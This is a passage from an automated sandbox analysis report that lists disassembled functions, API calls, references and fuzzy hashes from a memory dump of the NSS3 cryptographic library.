Part of subcall function 6CEB1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEAFAAB,00000000), ref: 6CEB157E
Part of subcall function 6CEB1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEAFAAB,00000000), ref: 6CEB1592
Part of subcall function 6CEB1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEB1600
Part of subcall function 6CEB1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEB1620
Part of subcall function 6CEB1560: PR_Unlock.NSS3(?), ref: 6CEB1639

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 117aa6cf42111e34c987586bb3ed22ed4d10f1fbe0eb73f272c7f6f66a9e5ef4
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: D74171B4601606AFE7409F55DA40BA2B7B1FF55358F248128E8145BFA0EB72E834CB90

Function 6CE7DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE7DDEC

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE7DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE7DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE7DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE7DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE7DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7DECC

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction ID: dbeee3c7011ad6c153a89970144b8370a196dd41cbe43f0805f33b7b61221a3b
Opcode Fuzzy Hash: e8c809397b6365567683ae5e35ee548dca39c495f7bb93eb51743def965ef731
Instruction Fuzzy Hash: 6631D5B6E002146BEB21AF64AD41BBB76B8DF5560CF250139ED09A7701FB31DA14C6F2

Function 6CE57E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE57E48

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE57E5B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE57E7B

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF7925C,?), ref: 6CE57E92

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE57EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE57EFA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction ID: 9c4523d281a2d1d90b1ba02d3c132b334aa9b1692ff7f881c075c0a0113e247d
Opcode Fuzzy Hash: efe324ffa2c4e82e9e8262319075a8d71c57fea8d4ac65c4389f5f6e83c5b811
Instruction Fuzzy Hash: 8631C1B2E103119BEB10CB659D45B6B73B8AF0425CF658828DC55EBB01EB32FC24C7A0

Function 6CEADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEAD9E4,00000000), ref: 6CEADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEADCAD

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction ID: 0d0b354d4d025cea458e4e6f135c91897f165899760bf72c50911ba6dcb0c57d
Opcode Fuzzy Hash: 40f5f10993369f7be289754d92519d3a57b0bab78485f4aa797ec1300cec6905
Instruction Fuzzy Hash: 7A3141B9900300AFD750CF99D884B56B7F8AF09358F644429ED48CFB01E772EA45CB91

Function 6CE72E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE6E728,?,00000038,?,?,00000000), ref: 6CE72E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE72E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE72E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE72E9E
PR_Unlock.NSS3(?), ref: 6CE72EAB
PR_Unlock.NSS3(?), ref: 6CE72F0D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
Instruction ID: d7be6027af84947ec4cf6e0993a55e059779eff6092d0fba06bdb29ceb3e0530
Opcode Fuzzy Hash: ffe406b8ed535d12a0985b96a978f4b3b4a2012a6fff6a98bf27ebd2eed82d97
Instruction Fuzzy Hash: BB313475E00105EBEB106F68EC4497AB774EF1525CB248138EC1887B11EB32DC64C7E1

Function 6CE91EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91ECB

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE76295,?,00000000,?,00000001,S&l,?), ref: 6CE91EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE91F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE91F39

Part of subcall function 6CE9FE20: TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
Part of subcall function 6CE9FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F

PR_Unlock.NSS3(?), ref: 6CE91F67

Strings

S&l, xrefs: 6CE91EA0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction ID: 83241429357770206cc84c9b6ef7f2d52cb6921ac4b89c53c8ae7f2bac3dd4d6
Opcode Fuzzy Hash: 98d5bdc1e507337f7bf730de31ef514b6edba8172bc677f1cf92ec550c76d891
Instruction Fuzzy Hash: 3221F275E00208ABEB10AEA9EC46B9A377DEF413ACF344168FD1987B01E731D95586E0

Function 6CEBCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 8acd0375f8b0398aa6fe80c55b52d5da36afd898f5070289aa864ea4efd007cd
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E311C0A1B042045BEB00AAA66E42B7BB5FC9F4415DF20407DA819EB741FB70DA0886B1

Function 6CE68C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE68C1B
EnterCriticalSection.KERNEL32 ref: 6CE68C34
PL_ArenaAllocate.NSS3 ref: 6CE68C65
PR_Unlock.NSS3 ref: 6CE68C9C
PR_Unlock.NSS3 ref: 6CE68CB6

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Strings

KRAM, xrefs: 6CE68C8F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction ID: 6e170d5f109525804790fbbbc71bd85fa3fe7ea7c39faaab928e4ed5b7409002
Opcode Fuzzy Hash: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction Fuzzy Hash: 5D21A6B1A556018FD700AF79C484659FBF4FF46308F25896ED884CBB01DB31D886CB92

Function 6CE78E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EA2

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EC3
TlsGetValue.KERNEL32(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE78EF1
PR_Unlock.NSS3 ref: 6CE78F20

Strings

b.l, xrefs: 6CE78E96, 6CE78F25

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction ID: 3f640329cdd67cb5bc0208bdc672e7ac21d32093b10f2d91014fd8faccbb46eb
Opcode Fuzzy Hash: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction Fuzzy Hash: 562180709097059FD720AF29D484699BBF0FF48368F51456EEC98A7B41D730E854CBE2

Function 6CEE3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_EnterMonitor.NSS3(?), ref: 6CEE3E45

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3E5C
PR_EnterMonitor.NSS3(?), ref: 6CEE3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEE3EA6

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_ExitMonitor.NSS3(?), ref: 6CEE3EC0
PR_ExitMonitor.NSS3(?), ref: 6CEE3ED7
PR_ExitMonitor.NSS3(?), ref: 6CEE3EEE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 317d2ef9a75419b97a582bf9ac373c5731ea4920809eca2fcedb2b80c0ee5631
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 7A11A575514700AFDB319A29FC02BC7B7B1DB45348F204824E55A87A30E632E929C783

Function 6CF62C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF62CA0
PR_ExitMonitor.NSS3 ref: 6CF62CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF62CD1
strdup.MOZGLUE(?), ref: 6CF62CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF62D27

Strings

Loaded library %s (static lib), xrefs: 6CF62D22

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction ID: 07a72626c783a051896903950ba8a524fcc56f7ea6a102f3a92dc0893746730a
Opcode Fuzzy Hash: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction Fuzzy Hash: 7011EFB1A102119FEB408F2AD884B6A77B5AB4635DF14C13DD809C7F41E733E808CBA1

Function 6CE5BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BDCA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDDB

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDEC

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

